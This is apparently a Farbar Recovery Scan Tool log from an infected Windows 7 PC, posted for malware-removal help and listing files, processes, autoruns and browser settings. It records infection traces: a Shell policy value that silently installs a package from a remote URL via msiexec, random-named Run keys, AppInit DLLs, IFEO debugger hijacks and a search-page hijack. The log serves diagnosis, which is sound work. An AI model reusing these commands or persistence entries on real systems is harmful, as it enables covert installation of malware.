2017-07-03 23:05 - 2016-03-18 17:25 - 00038666 _____ C:\Users\Uzivatel\Desktop\FRST.txt
2017-07-03 23:05 - 2014-08-09 11:40 - 00000000 ____D C:\FRST
2017-07-03 23:00 - 2017-05-07 21:27 - 00002480 ____H C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2017-07-03 23:00 - 2014-09-15 19:54 - 00002058 ____H C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-07-03 23:00 - 2013-04-21 00:04 - 00001100 ____H C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-07-03 21:41 - 2016-03-18 17:24 - 00000000 ____D C:\Users\Uzivatel\Desktop\FRST-OlderVersion
2017-07-03 21:41 - 2009-07-14 06:45 - 00023392 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2017-07-03 21:41 - 2009-07-14 06:45 - 00023392 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2017-07-03 21:32 - 2010-04-23 14:49 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\Skype
2017-07-03 21:30 - 2013-05-31 21:42 - 00000350 _____ C:\Windows\Tasks\AVG-Secure-Search-Update_JUNE2013_TB_rmv.job
2017-07-03 21:30 - 2009-07-14 07:08 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2017-07-03 10:45 - 2015-04-08 20:31 - 00000000 ____D C:\Users\DefaultAppPool
2017-07-03 10:42 - 2017-05-09 10:13 - 00251832 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2017-07-03 10:38 - 2014-01-29 16:23 - 00000000 ____D C:\AdwCleaner
2017-07-03 10:36 - 2017-04-17 13:25 - 00000000 ____D C:\Windows\Update
2017-07-03 10:36 - 2017-03-30 18:31 - 00000000 ____D C:\Update
2017-07-03 10:36 - 2017-03-16 18:44 - 00000000 ____D C:\Windows\system32\log
2017-07-03 10:23 - 2010-03-18 20:40 - 00000000 ____D C:\ProgramData\ICQ
2017-07-02 17:17 - 2015-01-11 13:57 - 01378180 _____ C:\Windows\ntbtlog.txt
2017-07-02 17:03 - 2017-03-16 18:43 - 00000000 ____D C:\Users\Uzivatel\AppData\LocalLow\Mozilla
2017-06-29 18:38 - 2010-09-18 13:27 - 00004829 _____ C:\Windows\wininit.ini
2017-06-29 17:43 - 2010-03-19 14:19 - 00000000 ____D C:\Program Files (x86)\Google
2017-06-29 16:29 - 2011-07-19 23:22 - 00000000 ____D C:\Windows\Minidump
2017-06-29 16:19 - 2010-03-16 13:01 - 00000000 ____D C:\Users\Uzivatel
2017-06-29 16:07 - 2009-07-14 05:20 - 00000000 ___HD C:\Windows\system32\GroupPolicy
2017-06-29 16:06 - 2016-12-16 16:07 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PlaysTV
2017-06-29 16:06 - 2010-04-12 15:56 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TmUnitedForever
2017-06-24 14:29 - 2014-05-16 19:25 - 00000000 ____D C:\ProgramData\Bohemia Interactive
2017-06-17 19:39 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\rescache
2017-06-17 10:41 - 2009-07-14 06:45 - 05015264 _____ C:\Windows\system32\FNTCACHE.DAT
2017-06-17 10:36 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\SysWOW64\migwiz
2017-06-17 10:36 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\system32\migwiz
2017-06-17 02:22 - 2012-05-12 21:47 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight
2017-06-17 02:21 - 2017-03-16 23:25 - 00045472 _____ C:\Windows\SysWOW64\1
2017-06-17 02:21 - 2012-05-12 21:46 - 00000000 ____D C:\Program Files\Microsoft Silverlight
2017-06-17 02:21 - 2012-05-12 21:46 - 00000000 ____D C:\Program Files (x86)\Microsoft Silverlight
2017-06-17 02:20 - 2013-08-14 12:34 - 00000000 ____D C:\Windows\system32\MRT
2017-06-17 02:20 - 2009-11-16 16:40 - 133627792 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2017-06-16 17:27 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\inf
2017-06-16 17:27 - 2009-07-14 05:20 - 00000000 ____D C:\Program Files\Common Files\Microsoft Shared
2017-06-16 17:26 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\registration
2017-06-16 17:22 - 2012-04-01 10:05 - 00803328 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
2017-06-16 17:22 - 2012-04-01 10:05 - 00004396 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2017-06-16 17:22 - 2011-05-29 20:46 - 00144896 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
2017-06-16 17:22 - 2011-03-30 20:52 - 00000000 ____D C:\Windows\system32\Macromed
2017-06-16 17:22 - 2010-03-18 19:56 - 00000000 ____D C:\Windows\SysWOW64\Macromed
2017-06-11 17:17 - 2011-04-20 16:37 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\Audacity
2017-06-10 17:57 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\system32\NDF
==================== Files in the root of some directories =======
2013-10-16 17:00 - 2013-10-16 17:00 - 2384896 _____ (Waves Audio Ltd.) C:\Program Files\WaveShell-VST 9.2_x64.dll
2010-04-16 15:30 - 2009-09-01 13:06 - 4532736 _____ () C:\Program Files (x86)\autorun.dat
2010-04-16 15:30 - 2009-09-01 13:06 - 0413696 _____ (Electronic Arts) C:\Program Files (x86)\AutoRun.exe
2010-04-16 15:30 - 2009-09-01 13:06 - 0000143 _____ () C:\Program Files (x86)\autorun.inf
2010-04-16 15:30 - 2009-09-01 13:06 - 0030398 _____ () C:\Program Files (x86)\config.dat
2010-04-16 15:30 - 2009-09-01 13:06 - 0324880 _____ () C:\Program Files (x86)\dirtysock.dll
2010-04-16 15:30 - 2009-09-01 13:06 - 0423184 _____ (Electronic Arts) C:\Program Files (x86)\EASetup.exe
2010-04-16 15:30 - 2009-09-01 13:06 - 6829328 _____ () C:\Program Files (x86)\FIFA10Demo.exe
2010-04-16 15:30 - 2009-09-01 13:06 - 0105014 _____ () C:\Program Files (x86)\fifapc.ico
2010-04-16 15:30 - 2009-09-01 13:06 - 0374032 _____ () C:\Program Files (x86)\GDFBinary.dll
2009-07-07 06:57 - 2009-07-07 06:57 - 7065600 _____ () C:\Program Files (x86)\GUTF22C.tmp
2010-04-16 15:30 - 2009-09-01 13:06 - 0348160 _____ (Microsoft Corporation) C:\Program Files (x86)\msvcr71.dll
2010-04-16 15:30 - 2009-09-01 13:06 - 0544768 _____ (Microsoft Corporation) C:\Program Files (x86)\msvcr71d.dll
2010-04-12 16:14 - 2010-04-12 16:14 - 0405520 _____ () C:\Program Files (x86)\Neon Viper _2_.zip
2010-04-12 16:15 - 2010-04-12 16:15 - 4402143 _____ () C:\Program Files (x86)\Orange-Stripe_d.zip
2010-04-16 15:30 - 2009-09-01 13:06 - 0115976 _____ (Electronic Arts Inc.) C:\Program Files (x86)\Setup.exe
2013-10-16 17:00 - 2013-10-16 17:00 - 1732608 _____ (Waves Audio Ltd.) C:\Program Files (x86)\WaveShell-VST 9.2.dll
2011-02-23 18:04 - 2011-02-23 18:04 - 0000132 _____ () C:\Users\Uzivatel\AppData\Roaming\Adobe IllExport Filter CS5 Prefs
2015-03-26 20:39 - 2015-05-09 14:44 - 0000034 _____ () C:\Users\Uzivatel\AppData\Roaming\AdobeWLCMCache.dat
2012-05-18 20:37 - 2012-05-18 21:25 - 0000040 _____ () C:\Users\Uzivatel\AppData\Roaming\cdr.ini
2010-06-22 21:25 - 2010-06-25 19:25 - 0027996 _____ () C:\Users\Uzivatel\AppData\Roaming\OFMissionEditorConfig.xml
2017-06-29 16:12 - 2017-06-29 16:12 - 7307264 _____ () C:\Users\Uzivatel\AppData\Local\agent.dat
2017-05-03 16:37 - 2017-05-03 16:37 - 0000000 ____H () C:\Users\Uzivatel\AppData\Local\BIT8841.tmp
2017-06-29 16:12 - 2017-06-29 16:12 - 0070800 _____ () C:\Users\Uzivatel\AppData\Local\Config.xml
2011-04-01 18:01 - 2012-03-05 18:44 - 0011776 _____ () C:\Users\Uzivatel\AppData\Local\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
2014-05-01 20:25 - 2014-05-01 20:25 - 0000096 _____ () C:\Users\Uzivatel\AppData\Local\fusioncache.dat
2017-06-29 16:10 - 2017-06-29 16:10 - 0278509 _____ () C:\Users\Uzivatel\AppData\Local\Indigois.bin
2017-06-29 16:08 - 2017-06-29 16:08 - 0140800 _____ () C:\Users\Uzivatel\AppData\Local\installer.dat
2017-06-29 16:12 - 2017-06-29 16:12 - 0018432 _____ () C:\Users\Uzivatel\AppData\Local\Main.dat
2017-06-29 16:12 - 2017-06-29 16:12 - 0005568 _____ () C:\Users\Uzivatel\AppData\Local\md.xml
2014-08-09 13:02 - 2016-03-18 17:24 - 0029696 _____ () C:\Users\Uzivatel\AppData\Local\MSGBOX.EXE
2017-06-29 16:12 - 2017-06-29 16:12 - 0126464 _____ () C:\Users\Uzivatel\AppData\Local\noah.dat
2017-06-29 16:08 - 2017-06-29 16:34 - 1705984 _____ () C:\Users\Uzivatel\AppData\Local\po.db
2014-12-26 01:49 - 2014-12-26 01:49 - 0001514 _____ () C:\Users\Uzivatel\AppData\Local\recently-used.xbel
2017-06-29 16:12 - 2017-06-29 16:08 - 2465280 _____ (TODO: <Company name>) C:\Users\Uzivatel\AppData\Local\TampAir.exe
2017-06-29 16:12 - 2017-06-29 16:12 - 1896509 _____ () C:\Users\Uzivatel\AppData\Local\TampAir.tst
2015-05-23 10:33 - 2015-05-23 10:33 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{37A92A0F-2B17-4CD3-8217-2265EDDDBCAB}
2015-03-26 17:56 - 2015-03-26 17:56 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{44D51D47-FB94-4694-850C-88D151C843BB}
2015-09-03 17:44 - 2015-09-03 17:44 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{61C56E5E-31C3-4BDE-8BA8-B584EB0C0979}
2015-03-29 14:04 - 2015-03-29 14:04 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{77396AB5-657F-4477-86C7-3FC651644589}
2017-05-03 16:36 - 2017-05-03 16:36 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{8EF78EB9-E631-46EA-9659-7AAE4DC8C697}
2015-05-30 14:23 - 2015-05-30 14:23 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{EB026816-3883-4F89-8C03-40A90D8A1629}
2017-07-03 21:30 - 2017-07-03 21:31 - 0000003 ____H () C:\ProgramData\cm-lock
2010-04-23 14:53 - 2010-04-23 14:53 - 0000056 ____H () C:\ProgramData\ezsidmv.dat
Files to move or delete:
====================
C:\Windows\Temp\00010362\conhost.exe
C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe
Some zero byte size files/folders:
==========================
C:\Windows\System32\dotnetfx.exe
==================== Bamital & volsnap =================
(There is no automatic fix for files that do not pass verification.)
C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\SysWOW64\wininit.exe => File is digitally signed
C:\Windows\explorer.exe => File is digitally signed
C:\Windows\SysWOW64\explorer.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\SysWOW64\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe => File is digitally signed
C:\Windows\system32\User32.dll => File is digitally signed
C:\Windows\SysWOW64\User32.dll => File is digitally signed
C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\SysWOW64\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\dnsapi.dll => File is digitally signed
C:\Windows\SysWOW64\dnsapi.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed
LastRegBack: 2017-07-02 12:59
==================== End of FRST.txt ============================
Ran by Uzivatel (administrator) on UZIVATEL-PC (03-07-2017 23:05:39)
Running from C:\Users\Uzivatel\Desktop
Loaded Profiles: Uzivatel (Available Profiles: Uzivatel & DefaultAppPool)
Platform: Windows 7 Home Premium Service Pack 1 (X64) Language: Čeština (Česká republika)
Internet Explorer Version 11 (Default browser: IE)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/33 ... scan-tool/
==================== Processes (Whitelisted) =================
(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\MsMpEng.exe
(AMD) C:\Windows\System32\atiesrxx.exe
(AMD) C:\Windows\System32\atieclxx.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe
(Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe
(Advanced Micro Devices, Inc.) C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Service.exe
(Apple Inc.) C:\Program Files (x86)\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(TODO: <Company name>) C:\ProgramData\AppmallosayoV\AppmallosayoV.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Common Files\LightScribe\LSSrvc.exe
(Microsoft Corporation) C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlservr.exe
(Nero AG) C:\Program Files (x86)\Common Files\Nero\Nero BackItUp 4\NBService.exe
() C:\Program Files (x86)\CDBurnerXP\NMSAccessU.exe
(PACE Anti-Piracy, Inc.) C:\Program Files (x86)\Common Files\PACE\Services\LicenseServices\LDSvc.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
() C:\Windows\SysWOW64\PnkBstrA.exe
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\msseces.exe
(Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\cnext.exe
(Microsoft Corporation) C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe
() C:\Windows\Temp\00010362\conhost.exe
(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE
(Hewlett-Packard Company) C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe
(WIBU-SYSTEMS AG) C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeter.exe
(Skype Technologies S.A.) C:\Program Files (x86)\Skype\Phone\Skype.exe
(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(WIBU-SYSTEMS AG) C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeterCC.exe
() C:\Program Files (x86)\Common Files\Totem Shared\Uninstall0001\Upd.exe
(Apple Inc.) C:\Program Files (x86)\iTunes\iTunesHelper.exe
(Safer Networking Ltd.) C:\Program Files (x86)\Spybot - Search & Destroy\SDWinSec.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
(Advanced Micro Devices Inc.) C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\MOM.exe
(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\IPC\AdobeIPCBroker.exe
(Advanced Micro Devices Inc.) C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\CCC.exe
() C:\Windows\Temp\g985A.tmp.exe
() C:\Windows\Temp\g985B.tmp.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\HEX\Adobe CEF Helper.exe
() C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSync\CoreSync.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CCXProcess\CCXProcess.exe
(Node.js) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CCXProcess\libs\node.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\HEX\Adobe CEF Helper.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Windows\System32\MsSpellCheckingFacility.exe
(Microsoft Corporation) C:\Windows\System32\taskmgr.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
==================== Registry (Whitelisted) ===========================
(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)
HKLM\...\Run: [Skytel] => C:\Program Files\Realtek\Audio\HDA\Skytel.exe [1833504 2009-08-18] (Realtek Semiconductor Corp.)
HKLM\...\Run: [RtHDVCpl] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [8067616 2009-08-18] (Realtek Semiconductor)
HKLM\...\Run: [AdobeAAMUpdater-1.0] => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [508128 2016-03-22] (Adobe Systems Incorporated)
HKLM\...\Run: [MSC] => c:\Program Files\Microsoft Security Client\msseces.exe [1353680 2016-11-14] (Microsoft Corporation)
HKLM\...\Run: [StartCN] => C:\Program Files\AMD\CNext\CNext\cnext.exe [4926664 2016-02-26] (Advanced Micro Devices, Inc.)
HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [2780112 2017-01-20] (Malwarebytes)
HKLM\...\Run: [Login] => C:\Windows\Temp\00010362\conhost.exe [1870848 2017-06-29] () <===== ATTENTION
HKLM-x32\...\Run: [Uninstall0001] => C:\Program Files (x86)\Common Files\Totem Shared\Uninstall0001\upd.exe [57344 2010-07-25] ()
HKLM-x32\...\Run: [APSDaemon] => C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe [60712 2014-10-11] (Apple Inc.)
HKLM-x32\...\Run: [seznam-listicka-distribuce] => C:\Program Files (x86)\Seznam.cz\distribution\szninstall.exe [1062472 2013-05-16] ()
HKLM-x32\...\Run: [iTunesHelper] => C:\Program Files (x86)\iTunes\iTunesHelper.exe [157480 2014-10-15] (Apple Inc.)
HKLM-x32\...\Run: [Adobe Creative Cloud] => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe [2313408 2016-04-07] (Adobe Systems Incorporated)
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [334896 2015-06-08] (Oracle Corporation)
HKLM-x32\...\Run: [PlaysTV] => "C:\Program Files (x86)\Raptr Inc\PlaysTV\playstv_launcher.exe" --startup
HKLM-x32\...\Run: [StartCCC] => C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\amd64\CLIStart.exe [767176 2015-08-04] (Advanced Micro Devices, Inc.)
Winlogon\Notify\igfxcui: C:\Windows\system32\igfxdev.dll (Intel Corporation)
Winlogon\Notify\igfxcui:
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [LightScribe Control Panel] => C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe [2736128 2010-08-16] (Hewlett-Packard Company)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [RGSC] => C:\Program Files (x86)\Rockstar Games\Rockstar Games Social Club\RGSCLauncher.exe /silent
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [cz.seznam.software.autoupdate] => "C:\Users\Uzivatel\AppData\Roaming\Seznam.cz\szninstall.exe" -c
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [cz.seznam.software.szndesktop] => "C:\Users\Uzivatel\AppData\Roaming\Seznam.cz\bin\wszndesktop.exe" -q
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [ooVoo.exe] => C:\program files (x86)\oovoo\oovoo.exe /minimized
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [27716568 2017-05-04] (Skype Technologies S.A.)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [QKRPRNSOSV.exe] => C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe [75264 2017-06-29] () <===== ATTENTION
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [7FM3ZXLNA1ZP1PG] => C:\Program Files\FNJLTCS41J\FNJLTCS41.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [6VPXZBGTWPME1EW] => C:\Program Files\SWG63XXW0V\SWG63XXW0.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [5Q7U43XKBO736KK] => C:\Program Files\G05HC4PZV0\M20DKGF77.exe [1040384 2017-06-29] ()
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [G9CQIRQT0759DOK] => C:\Program Files\I59ZA8EZ7K\91SNIEC4V.exe [1040384 2017-06-29] (N9@XW9)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.ltdmsjq.com/?data=zDlkMj8y ... Y4NWU2Rq== /q
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\MountPoints2: {a0a4aba1-0a8a-11e7-9421-6cf0491de2a6} - J:\setup.exe
AppInit_DLLs: C:\ProgramData\AppmallosayoV\Voltdax.dll => C:\ProgramData\AppmallosayoV\Voltdax.dll [343552 2017-06-29] ()
AppInit_DLLs-x32: C:\ProgramData\AppmallosayoV\Grave-Fan.dll => C:\ProgramData\AppmallosayoV\Grave-Fan.dll [246784 2017-06-29] ()
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
ShellExecuteHooks: - {E4CA1236-0398-11E7-A247-64006A5CFC23} - C:\Users\Uzivatel\AppData\Roaming\Putodom\Ljeent.dll No File [ ]
ShellIconOverlayIdentifiers: [ AccExtIco1] -> {AB9CF9F8-8A96-4F9D-BF21-CE85714C3A47} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll [2016-04-01] ()
ShellIconOverlayIdentifiers: [ AccExtIco2] -> {853B7E05-C47D-4985-909A-D0DC5C6D7303} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll [2016-04-01] ()
ShellIconOverlayIdentifiers: [ AccExtIco3] -> {42D38F2E-98E9-4382-B546-E24E4D6D04BB} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll [2016-04-01] ()
ShellIconOverlayIdentifiers: [ SkyDrive1] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers: [ SkyDrive2] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers: [ SkyDrive3] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive1] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive2] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive3] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\CodeMeter Control Center.lnk [2015-03-03]
ShortcutTarget: CodeMeter Control Center.lnk -> C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeterCC.exe (WIBU-SYSTEMS AG)
Startup: C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\OpenOffice.org 3.2.lnk [2010-03-16]
ShortcutTarget: OpenOffice.org 3.2.lnk -> C:\Program Files (x86)\OpenOffice.org 3\program\quickstart.exe ()
GroupPolicy: Restriction - Chrome <======= ATTENTION
==================== Internet (Whitelisted) ====================
(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)
Hosts: There are more than one entry in Hosts. See Hosts section of Addition.txt
Tcpip\Parameters: [DhcpNameServer] 10.0.0.138
Tcpip\..\Interfaces\{40F681A8-A980-409A-B0DD-4051D8BB9255}: [DhcpNameServer] 10.0.0.138
Tcpip\..\Interfaces\{CA7287A7-18E5-45C5-B9EC-4F4B539AEC8E}: [NameServer] 217.77.165.81 217.77.161.131
Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://go.microsoft.com/fwlink/?LinkID=617911&ResetID=131433007661771000&GUID=3FA99D02-B647-4660-8FA9-310F89146BEB
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://go.microsoft.com/fwlink/?LinkID=617911&ResetID=131433007661801000&GUID=3FA99D02-B647-4660-8FA9-310F89146BEB
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=14957 ... 1837918379
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=14957 ... 1837918379
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://go.microsoft.com/fwlink/?LinkID=617911&ResetID=131433007661801000&GUID=3FA99D02-B647-4660-8FA9-310F89146BEB
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=14957 ... 1837918379
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,First Home Page = hxxp://g.msn.com/1ewenusDefaultPack/SKY2_FRPage
URLSearchHook: HKLM-x32 -> Default = {CCC7B159-1D8C-11E3-B2AD-F3EF3D58318D}
SearchScopes: HKLM -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKLM -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKLM -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_uid=8423644100354278&apn_dtid=TCH001&o=APN11459&apn_ptnrs=AG1&q={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {ielnksrch} URL =
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&t ... earchTerms}
SearchScopes: HKLM-x32 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_uid=8423644100354278&apn_dtid=TCH001&o=APN11459&apn_ptnrs=AG1&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {1BC0D21C-672E-4049-AEFB-7589E730CC9D} URL = hxxp://encyklopedie.seznam.cz/search?q={searchTerms}&sourceid=QuickSearch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {24231C4F-6B02-48F6-8DA8-F8109976FB33} URL = hxxp://search.seznam.cz/?q={searchTerms}&sourceid=QuickSearch_13415
